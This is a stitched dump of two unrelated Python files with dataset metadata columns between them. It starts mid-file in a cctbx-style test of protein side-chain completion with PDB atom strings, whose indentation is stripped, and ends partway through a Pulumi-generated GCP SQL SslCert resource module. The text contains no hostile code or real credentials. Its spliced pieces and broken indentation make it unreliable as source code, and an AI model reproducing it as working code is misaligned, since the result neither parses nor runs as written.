ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new
"""
pdb_str1_good="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new
ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new
ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new
ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new
ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new
ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new
ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new
ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new
ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new
ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new
ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new
ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new
"""
###
pdb_str2_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
remark ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
pdb_str2_good="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
###
pdb_str3_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
remark ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
pdb_str3_good="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
###
pdb_str4_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
remark ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
pdb_str4_good="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
###
pdb_str5_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
remark ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
pdb_str5_good="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
###
pdb_str6_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
remark ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
TER
"""
pdb_str6_good="""\
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
TER
"""
###
pdb_str7_good="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new
ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new
ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new
ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new
ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new
ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new
ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new
ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new
ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new
ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new
ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new
ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new
"""
pdb_str7_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
remark ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
"""
pdb_str_do_no_move_if_complete="""
ATOM 1 N LYS A 7 6.187 5.271 2.497 1.00 17.49 N
ATOM 2 CA LYS A 7 5.198 6.138 3.127 1.00 18.23 C
ATOM 3 C LYS A 7 4.507 5.426 4.285 1.00 14.78 C
ATOM 4 O LYS A 7 3.859 4.396 4.096 1.00 15.83 O
ATOM 5 CB LYS A 7 4.161 6.608 2.104 1.00 23.56 C
ATOM 6 CG LYS A 7 4.553 7.868 1.345 1.00 33.58 C
ATOM 7 CD LYS A 7 5.574 7.573 0.257 1.00 41.39 C
ATOM 8 CE LYS A 7 4.958 6.765 -0.874 1.00 48.81 C
ATOM 9 NZ LYS A 7 5.929 6.522 -1.976 1.00 48.81 N
TER
END
"""
###
def check(answer, result, bad):
a = list(answer.atoms().extract_name())
a.sort()
#
r = list(result.atoms().extract_name())
r.sort()
#
b = list(bad.atoms().extract_name())
b.sort()
#
diff = list(set(r).symmetric_difference(set(a)))
assert len(diff) in [0,1], diff
if(len(diff)==1):
assert diff[0]==' H ', diff
assert b!=a
#
xyz_a = flex.vec3_double()
xyz_r = flex.vec3_double()
for aa in answer.atoms():
for ar in result.atoms():
if(aa.name == ar.name):
xyz_a.append(aa.xyz)
xyz_r.append(ar.xyz)
print(flex.max(flex.sqrt((xyz_a - xyz_r).dot())))
def exercise_extend_sidechains(pdb_str_bad, pdb_str_good, i, Sorry_msg, add_h):
pdb_inp = iotbx.pdb.input(source_info=None, lines=pdb_str_bad)
pdb_h = pdb_inp.construct_hierarchy()
pdb_h.write_pdb_file(file_name="m_in_%d.pdb"%i)
pdb_h_bad = pdb_h.deep_copy()
e = None
try:
extend_sidechains.extend_protein_model(
pdb_hierarchy = pdb_h,
mon_lib_srv = mon_lib_srv,
add_hydrogens = add_h)
except Exception as e:
if(Sorry_msg is not None):
assert str(e).find(Sorry_msg)>-1
return
#
pdb_h.write_pdb_file(file_name="m_completed_%d.pdb"%i)
pdb_h_result = pdb_h.deep_copy()
#
pdb_inp = iotbx.pdb.input(source_info=None, lines=pdb_str_good)
pdb_h_answer = pdb_inp.construct_hierarchy()
pdb_h_answer.write_pdb_file(file_name="m_good_%d.pdb"%i)
#
check(answer=pdb_h_answer, result=pdb_h_result, bad=pdb_h_bad)
def exercise_do_not_move_if_complete():
pdb_inp = iotbx.pdb.input(source_info=None,
lines=pdb_str_do_no_move_if_complete)
pdb_h = pdb_inp.construct_hierarchy()
xyz1 = pdb_h.atoms().extract_xyz()
pdb_h_completed = pdb_h.deep_copy()
extend_sidechains.extend_protein_model(
pdb_hierarchy = pdb_h_completed,
mon_lib_srv = mon_lib_srv,
add_hydrogens = False)
xyz2 = pdb_h_completed.atoms().extract_xyz()
assert approx_equal(flex.max(flex.sqrt((xyz1 - xyz2).dot())),0.0)
if(__name__ == "__main__"):
exercise_do_not_move_if_complete()
#
for i, t in enumerate([
(pdb_str0_bad, pdb_str0_good, None, None),
(pdb_str1_bad, pdb_str1_good, None, None),
(pdb_str2_bad, pdb_str2_good, None, None),
(pdb_str3_bad, pdb_str3_good, None, None),
(pdb_str4_bad, pdb_str4_good, "Main chain must be complete.", None),
(pdb_str5_bad, pdb_str5_good, "Main chain must be complete.", None),
(pdb_str6_bad, pdb_str6_good, None, None),
(pdb_str7_bad, pdb_str7_good, None, True),
]):
exercise_extend_sidechains(
pdb_str_bad=t[0], pdb_str_good=t[1], i=i, Sorry_msg=t[2], add_h=t[3])
print("OK")
| 55.079787
| 91
| 0.455384
| 4,248
| 20,710
| 2.167608
| 0.060499
| 0.092528
| 0.11566
| 0.044961
| 0.849587
| 0.846981
| 0.821351
| 0.815812
| 0.796481
| 0.779105
| 0
| 0.412157
| 0.463786
| 20,710
| 375
| 92
| 55.226667
| 0.417019
| 0
| 0
| 0.662577
| 0
| 0.653374
| 0.84445
| 0
| 0
| 0
| 0
| 0
| 0.015337
| 1
| 0.009202
| false
| 0
| 0.018405
| 0
| 0.030675
| 0.009202
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
48512cf16fb45b97c4843b043635e659283087ed
| 112
|
py
|
Python
|
acousticsim/analysis/mfcc/__init__.py
|
JoFrhwld/python-acoustic-similarity
|
50f71835532010b2fedf14b0ca3a52d88a9ab380
|
[
"MIT"
] | 5
|
2018-01-15T22:06:20.000Z
|
2022-02-21T07:02:40.000Z
|
acousticsim/analysis/mfcc/__init__.py
|
JoFrhwld/python-acoustic-similarity
|
50f71835532010b2fedf14b0ca3a52d88a9ab380
|
[
"MIT"
] | null | null | null |
acousticsim/analysis/mfcc/__init__.py
|
JoFrhwld/python-acoustic-similarity
|
50f71835532010b2fedf14b0ca3a52d88a9ab380
|
[
"MIT"
] | 2
|
2019-11-28T17:06:27.000Z
|
2019-12-05T22:57:28.000Z
|
from .rastamat import file_to_mfcc, signal_to_mfcc
from .praat import file_to_mfcc_praat, signal_to_mfcc_praat
| 28
| 59
| 0.866071
| 20
| 112
| 4.35
| 0.4
| 0.275862
| 0.275862
| 0.367816
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098214
| 112
| 3
| 60
| 37.333333
| 0.861386
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
48784ee38777811767e13bb9596714a970a790cb
| 107
|
py
|
Python
|
deepneat/nn/__init__.py
|
kato-mahiro/deepneat-python
|
ee91ad52f4878d31630baa271b316b7b2054a8fa
|
[
"BSD-3-Clause"
] | null | null | null |
deepneat/nn/__init__.py
|
kato-mahiro/deepneat-python
|
ee91ad52f4878d31630baa271b316b7b2054a8fa
|
[
"BSD-3-Clause"
] | null | null | null |
deepneat/nn/__init__.py
|
kato-mahiro/deepneat-python
|
ee91ad52f4878d31630baa271b316b7b2054a8fa
|
[
"BSD-3-Clause"
] | null | null | null |
from deepneat.nn.feed_forward import FeedForwardNetwork
from deepneat.nn.recurrent import RecurrentNetwork
| 35.666667
| 55
| 0.88785
| 13
| 107
| 7.230769
| 0.692308
| 0.255319
| 0.297872
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074766
| 107
| 2
| 56
| 53.5
| 0.949495
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d25cbd29f6c2c35f6347ce74748e185636fe9794
| 21,469
|
py
|
Python
|
sdk/python/pulumi_gcp/sql/ssl_cert.py
|
sisisin/pulumi-gcp
|
af6681d70ea457843409110c1324817fe55f68ad
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_gcp/sql/ssl_cert.py
|
sisisin/pulumi-gcp
|
af6681d70ea457843409110c1324817fe55f68ad
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_gcp/sql/ssl_cert.py
|
sisisin/pulumi-gcp
|
af6681d70ea457843409110c1324817fe55f68ad
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['SslCertArgs', 'SslCert']
@pulumi.input_type
class SslCertArgs:
def __init__(__self__, *,
common_name: pulumi.Input[str],
instance: pulumi.Input[str],
project: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a SslCert resource.
:param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the
client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created.
:param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this
forces a new resource to be created.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it
is not provided, the provider project is used.
"""
pulumi.set(__self__, "common_name", common_name)
pulumi.set(__self__, "instance", instance)
if project is not None:
pulumi.set(__self__, "project", project)
@property
@pulumi.getter(name="commonName")
def common_name(self) -> pulumi.Input[str]:
"""
The common name to be used in the certificate to identify the
client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "common_name")
@common_name.setter
def common_name(self, value: pulumi.Input[str]):
pulumi.set(self, "common_name", value)
@property
@pulumi.getter
def instance(self) -> pulumi.Input[str]:
"""
The name of the Cloud SQL instance. Changing this
forces a new resource to be created.
"""
return pulumi.get(self, "instance")
@instance.setter
def instance(self, value: pulumi.Input[str]):
pulumi.set(self, "instance", value)
@property
@pulumi.getter
def project(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project in which the resource belongs. If it
is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project", value)
@pulumi.input_type
class _SslCertState:
def __init__(__self__, *,
cert: Optional[pulumi.Input[str]] = None,
cert_serial_number: Optional[pulumi.Input[str]] = None,
common_name: Optional[pulumi.Input[str]] = None,
create_time: Optional[pulumi.Input[str]] = None,
expiration_time: Optional[pulumi.Input[str]] = None,
instance: Optional[pulumi.Input[str]] = None,
private_key: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
server_ca_cert: Optional[pulumi.Input[str]] = None,
sha1_fingerprint: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering SslCert resources.
:param pulumi.Input[str] cert: The actual certificate data for this client certificate.
:param pulumi.Input[str] cert_serial_number: The serial number extracted from the certificate data.
:param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the
client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created.
:param pulumi.Input[str] create_time: The time when the certificate was created in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
:param pulumi.Input[str] expiration_time: The time when the certificate expires in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
:param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this
forces a new resource to be created.
:param pulumi.Input[str] private_key: The private key associated with the client certificate.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it
is not provided, the provider project is used.
:param pulumi.Input[str] server_ca_cert: The CA cert of the server this client cert was generated from.
:param pulumi.Input[str] sha1_fingerprint: The SHA1 Fingerprint of the certificate.
"""
if cert is not None:
pulumi.set(__self__, "cert", cert)
if cert_serial_number is not None:
pulumi.set(__self__, "cert_serial_number", cert_serial_number)
if common_name is not None:
pulumi.set(__self__, "common_name", common_name)
if create_time is not None:
pulumi.set(__self__, "create_time", create_time)
if expiration_time is not None:
pulumi.set(__self__, "expiration_time", expiration_time)
if instance is not None:
pulumi.set(__self__, "instance", instance)
if private_key is not None:
pulumi.set(__self__, "private_key", private_key)
if project is not None:
pulumi.set(__self__, "project", project)
if server_ca_cert is not None:
pulumi.set(__self__, "server_ca_cert", server_ca_cert)
if sha1_fingerprint is not None:
pulumi.set(__self__, "sha1_fingerprint", sha1_fingerprint)
@property
@pulumi.getter
def cert(self) -> Optional[pulumi.Input[str]]:
"""
The actual certificate data for this client certificate.
"""
return pulumi.get(self, "cert")
@cert.setter
def cert(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cert", value)
@property
@pulumi.getter(name="certSerialNumber")
def cert_serial_number(self) -> Optional[pulumi.Input[str]]:
"""
The serial number extracted from the certificate data.
"""
return pulumi.get(self, "cert_serial_number")
@cert_serial_number.setter
def cert_serial_number(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cert_serial_number", value)
@property
@pulumi.getter(name="commonName")
def common_name(self) -> Optional[pulumi.Input[str]]:
"""
The common name to be used in the certificate to identify the
client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "common_name")
@common_name.setter
def common_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "common_name", value)
@property
@pulumi.getter(name="createTime")
def create_time(self) -> Optional[pulumi.Input[str]]:
"""
The time when the certificate was created in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
"""
return pulumi.get(self, "create_time")
@create_time.setter
def create_time(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "create_time", value)
@property
@pulumi.getter(name="expirationTime")
def expiration_time(self) -> Optional[pulumi.Input[str]]:
"""
The time when the certificate expires in RFC 3339 format,
for example 2012-11-15T16:19:00.094Z.
"""
return pulumi.get(self, "expiration_time")
@expiration_time.setter
def expiration_time(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "expiration_time", value)
@property
@pulumi.getter
def instance(self) -> Optional[pulumi.Input[str]]:
"""
The name of the Cloud SQL instance. Changing this
forces a new resource to be created.
"""
return pulumi.get(self, "instance")
@instance.setter
def instance(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance", value)
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> Optional[pulumi.Input[str]]:
"""
The private key associated with the client certificate.
"""
return pulumi.get(self, "private_key")
@private_key.setter
def private_key(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_key", value)
@property
@pulumi.getter
def project(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project in which the resource belongs. If it
is not provided, the provider project is used.
"""
return pulumi.get(self, "project")
@project.setter
def project(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project", value)
@property
@pulumi.getter(name="serverCaCert")
def server_ca_cert(self) -> Optional[pulumi.Input[str]]:
"""
The CA cert of the server this client cert was generated from.
"""
return pulumi.get(self, "server_ca_cert")
@server_ca_cert.setter
def server_ca_cert(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "server_ca_cert", value)
@property
@pulumi.getter(name="sha1Fingerprint")
def sha1_fingerprint(self) -> Optional[pulumi.Input[str]]:
"""
The SHA1 Fingerprint of the certificate.
"""
return pulumi.get(self, "sha1_fingerprint")
@sha1_fingerprint.setter
def sha1_fingerprint(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "sha1_fingerprint", value)
class SslCert(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
common_name: Optional[pulumi.Input[str]] = None,
instance: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Creates a new Google SQL SSL Cert on a Google SQL Instance. For more information, see the [official documentation](https://cloud.google.com/sql/), or the [JSON API](https://cloud.google.com/sql/docs/mysql/admin-api/v1beta4/sslCerts).
## Example Usage
Example creating a SQL Client Certificate.
```python
import pulumi
import pulumi_gcp as gcp
import pulumi_random as random
db_name_suffix = random.RandomId("dbNameSuffix", byte_length=4)
master = gcp.sql.DatabaseInstance("master", settings=gcp.sql.DatabaseInstanceSettingsArgs(
tier="db-f1-micro",
))
client_cert = gcp.sql.SslCert("clientCert",
common_name="client-name",
instance=master.name)
```
## Import
Since the contents of the certificate cannot be accessed after its creation, this resource cannot be imported.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the
client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created.
:param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this
forces a new resource to be created.
:param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it
is not provided, the provider project is used.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: SslCertArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Creates a new Google SQL SSL Cert on a Google SQL Instance. For more information, see the [official documentation](https://cloud.google.com/sql/), or the [JSON API](https://cloud.google.com/sql/docs/mysql/admin-api/v1beta4/sslCerts).
## Example Usage
Example creating a SQL Client Certificate.
```python
import pulumi
import pulumi_gcp as gcp
import pulumi_random as random
db_name_suffix = random.RandomId("dbNameSuffix", byte_length=4)
master = gcp.sql.DatabaseInstance("master", settings=gcp.sql.DatabaseInstanceSettingsArgs(
tier="db-f1-micro",
))
client_cert = gcp.sql.SslCert("clientCert",
common_name="client-name",
instance=master.name)
```
## Import
Since the contents of the certificate cannot be accessed after its creation, this resource cannot be imported.
:param str resource_name: The name of the resource.
:param SslCertArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(SslCertArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
common_name: Optional[pulumi.Input[str]] = None,
instance: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = SslCertArgs.__new__(SslCertArgs)
if common_name is None and not opts.urn:
raise TypeError("Missing required property 'common_name'")
__props__.__dict__["common_name"] = common_name
if instance is None and not opts.urn:
raise TypeError("Missing required property 'instance'")
__props__.__dict__["instance"] = instance
__props__.__dict__["project"] = project
__props__.__dict__["cert"] = None
__props__.__dict__["cert_serial_number"] = None
